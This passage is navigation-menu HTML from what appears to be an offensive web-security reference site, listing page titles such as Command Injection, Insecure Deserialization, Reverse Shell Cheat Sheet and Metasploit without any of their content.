      <a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Client Side Path Traversal
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
        
          
          <label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Command Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_12">
            <span class="md-nav__icon md-icon"></span>
            Command Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Command%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Command Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
        
          
          <label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Cross Site Request Forgery
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_13">
            <span class="md-nav__icon md-icon"></span>
            Cross Site Request Forgery
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Cross-Site Request Forgery
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
        
          
          <label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    DNS Rebinding
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_14">
            <span class="md-nav__icon md-icon"></span>
            DNS Rebinding
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../DNS%20Rebinding/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    DNS Rebinding
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
        
          
          <label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    DOM Clobbering
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_15">
            <span class="md-nav__icon md-icon"></span>
            DOM Clobbering
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../DOM%20Clobbering/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    DOM Clobbering
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
        
          
          <label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Denial of Service
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_16">
            <span class="md-nav__icon md-icon"></span>
            Denial of Service
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Denial%20of%20Service/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Denial of Service
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
        
          
          <label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Dependency Confusion
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_17">
            <span class="md-nav__icon md-icon"></span>
            Dependency Confusion
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Dependency%20Confusion/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Dependency Confusion
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
        
          
          <label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Directory Traversal
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_18">
            <span class="md-nav__icon md-icon"></span>
            Directory Traversal
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Directory%20Traversal/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Directory Traversal
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
        
          
          <label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    File Inclusion
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_19">
            <span class="md-nav__icon md-icon"></span>
            File Inclusion
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../File%20Inclusion/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    File Inclusion
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    LFI to RCE
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Inclusion Using Wrappers
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
        
          
          <label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Google Web Toolkit
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_20">
            <span class="md-nav__icon md-icon"></span>
            Google Web Toolkit
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Google%20Web%20Toolkit/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Google Web Toolkit
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
        
          
          <label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    GraphQL Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_21">
            <span class="md-nav__icon md-icon"></span>
            GraphQL Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../GraphQL%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    GraphQL Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
        
          
          <label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    HTTP Parameter Pollution
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_22">
            <span class="md-nav__icon md-icon"></span>
            HTTP Parameter Pollution
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    HTTP Parameter Pollution
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
        
          
          <label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Headless Browser
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_23">
            <span class="md-nav__icon md-icon"></span>
            Headless Browser
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Headless%20Browser/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Headless Browser
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
        
          
          <label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Hidden Parameters
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_24">
            <span class="md-nav__icon md-icon"></span>
            Hidden Parameters
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Hidden%20Parameters/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    HTTP Hidden Parameters
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
        
          
          <label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Insecure Deserialization
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_25">
            <span class="md-nav__icon md-icon"></span>
            Insecure Deserialization
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Deserialization/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Insecure Deserialization
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    .NET Deserialization
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Java Deserialization
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Node Deserialization
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    PHP Deserialization
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Python Deserialization
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Ruby Deserialization
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
        
          
          <label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Insecure Direct Object References
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_26">
            <span class="md-nav__icon md-icon"></span>
            Insecure Direct Object References
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Insecure Direct Object References
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
        
          
          <label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Insecure Management Interface
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_27">
            <span class="md-nav__icon md-icon"></span>
            Insecure Management Interface
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Management%20Interface/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Insecure Management Interface
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
        
          
          <label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Insecure Randomness
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_28">
            <span class="md-nav__icon md-icon"></span>
            Insecure Randomness
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Randomness/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Insecure Randomness
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
        
          
          <label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Insecure Source Code Management
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_29">
            <span class="md-nav__icon md-icon"></span>
            Insecure Source Code Management
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Insecure Source Code Management
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Bazaar
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Git
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Mercurial
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Subversion
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
        
          
          <label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    JSON Web Token
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_30">
            <span class="md-nav__icon md-icon"></span>
            JSON Web Token
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../JSON%20Web%20Token/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    JWT - JSON Web Token
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
        
          
          <label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Java RMI
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_31">
            <span class="md-nav__icon md-icon"></span>
            Java RMI
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Java%20RMI/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Java RMI
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
        
          
          <label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    LDAP Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_32">
            <span class="md-nav__icon md-icon"></span>
            LDAP Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../LDAP%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    LDAP Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
        
          
          <label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    LaTeX Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_33">
            <span class="md-nav__icon md-icon"></span>
            LaTeX Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../LaTeX%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    LaTeX Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
        
          
          <label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Mass Assignment
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_34">
            <span class="md-nav__icon md-icon"></span>
            Mass Assignment
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Mass%20Assignment/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Mass Assignment
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
        
          
          <label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Methodology and Resources
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_35">
            <span class="md-nav__icon md-icon"></span>
            Methodology and Resources
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Active Directory Attacks
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Bind Shell
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Cloud - AWS
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Cloud - Azure
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Cobalt Strike
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Container - Docker
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Container - Kubernetes
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Application Escape and Breakout
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    HTML Smuggling
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Hash Cracking
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Initial Access
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Linux - Evasion
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Linux - Persistence
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Linux - Privilege Escalation
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    MSSQL Server
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Metasploit
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Bug Hunting Methodology and Enumeration
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Network Discovery
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Network Pivoting Techniques
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Office - Attacks
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Powershell
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Reverse Shell Cheat Sheet
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Source Code Management &amp; CI/CD Compromise
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Vulnerability Reports
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
